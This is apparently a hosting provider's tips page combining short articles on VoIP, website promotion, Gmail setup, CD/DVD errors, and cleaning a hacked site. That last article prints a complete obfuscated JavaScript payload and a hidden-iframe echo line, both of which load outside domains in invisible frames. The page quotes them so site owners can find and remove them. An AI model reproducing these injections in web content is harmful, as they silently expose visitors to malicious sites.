Tips

understanding_voip

VoIP = Voice over Internet Protocol

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What is VoIP ?
  • a method for taking analog audio signals, like the kind you hear when you talk on the phone, and turning them into digital data that can be transmitted over the Internet.
  • also means VoIP can turn a standard Internet connection into a way to place free phone calls.
  • to make Internet phone calls and bypassing the phone company (and its charges) entirely.

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when your website hacked by SQL Injection

Number of View: 1359

If your website suddenly show this screen (example from Firefox browser)

thats mean your website were attacked by SQL injection from hacker.

To remove this “attack” message, just check your website’s index.html / index.php / default.html ….

there maybe a line like below at the end of the file

e.g. <script>eval(unescape(‘%65%76%

61%6C%28%66%75%6E%63%74%69%6F%6E%28%68%4F%58%2C%73%6A%63%75%2C%73%70%2C%49%41%76%42%2C%53%56%50%45%2C%74%77%68%29%7B%53%56%50%45%3D%66%75%6E%63%74%69%6F%6E%28%73%70%29%7B%72%65%74%75%72%6E%20%73%70%2E%74%6F%53%74%72%69%6E%67%28%73%6A%63%75%29%7D%3B%69%66%28%21%27%27%2E%72%65%70%6C%61%63%65%28%2F%5E%2F%2C%53%74%72%69%6E%67%29%29%7B%77%68%69%6C%65%28%73%70%2D%2D%29%74%77%68%5B%53%56%50%45%28%73%70%29%5D%3D%49%41%76%42%5B%73%70%5D%7C%7C%53%56%50%45%28%73%70%29%3B%49%41%76%42%3D%5B%66%75%6E%63%74%69%6F%6E%28%53%56%50%45%29%7B%72%65%74%75%72%6E%20%74%77%68%5B%53%56%50%45%5D%7D%5D%3B%53%56%50%45%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%72%65%74%75%72%6E%27%5C%5C%77%2B%27%7D%3B%73%70%3D%31%7D%3B%77%68%69%6C%65%28%73%70%2D%2D%29%69%66%28%49%41%76%42%5B%73%70%5D%29%68%4F%58%3D%68%4F%58%2E%72%65%70%6C%61%63%65%28%6E%65%77%20%52%65%67%45%78%70%28%27%5C%5C%62%27%2B%53%56%50%45%28%73%70%29%2B%27%5C%5C%62%27%2C%27%67%27%29%2C%49%41%76%42%5B%73%70%5D%29%3B%72%65%74%75%72%6E%20%68%4F%58%7D%28%27%38%2E%30%28%22%3C%64%20%63%3D%5C%5C%22%62%3A%2F%2F%61%2E%39%2F%5C%5C%22%20%37%3D%31%20%36%3D%31%20%35%3D%5C%5C%22%34%3A%33%3B%32%3A%65%5C%5C%22%3E%22%29%3B%27%2C%31%35%2C%31%35%2C%27%77%72%69%74%65%7C%7C%70%6F%73%69%74%69%6F%6E%7C%68%69%64%64%65%6E%7C%76%69%73%69%62%69%6C%69%74%79%7C%73%74%79%6C%65%7C%68%65%69%67%68%74%7C%77%69%64%74%68%7C%64%6F%63%75%6D%65%6E%74%7C%63%6F%6D%7C%61%76%65%72%73%62%6F%6E%6B%6F%7C%68%74%74%70%7C%73%72%63%7C%69%66%72%61%6D%65%7C%61%62%73%6F%6C%75%74%65%27%2E%73%70%6C%69%74%28%27%7C%27%29%2C%30%2C%7B%7D%29%29′));</script><!– uy7gdr5kmn –> ————————————————————————- or there might have <iframe> code such as : echo “<iframe src=\”http://niklejo.net/?click=F07EA6 \” width=1 height=1 style=\”visibility:hidden; position:absolute\”></iframe>”; just remove those codes For more information, please goto http://www.stopbadware.org/home/security
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15 methods to attract visitors to your website

Number of View: 1378

You must look delicious if you want someone to “visit” you.

If you want to attract more visitors to come to your website, you must read this:

1. Purpose
  • State the website’s purpose up front and clearly of the site. Do this as quickly as possible.
  • The visitor needs to know immediately if they have landed on the right site.
  • They also need to know “what’s in it for me to stay here.”
  • If you don’t provide this, they are gone.
  • 90% of the sites on the Net don’t do this.
2. Search Engine
  • Google, Yahoo & other popular search engines must More >

Use your Gmail to send and receive email for you@yourdomain.com

Number of View: 890

Our hosting service allow you to setup your Gmail to send and receive email for your email address hosting with us.

Let say, your email address is john@smith.com . So you can create a Gmail account and then setup it to send out email using your email address “john@smith.com”. Cool right?

Find out more here

CD or DVD show the message “Data error (cyclic redundancy check)”

Number of View: 792

When you burn a CD or DVD, you get a “Cyclic Redundancy Check” error message when you want to open a file inside the CD / DVD. But the CD/DVD has no scratches or dirts, so why is this happening? How to read the contents of the CD / DVD ?

A “Cyclic Redundancy Check”, or “CRC”, is an error detection mechanism that makes sure that the data you’re trying to read from media, such as hard disks, CDs and DVDs, is actually correct.

Solution:

Very easy. Open the CD/DVD in another computer CD / DVD drive. Most of More >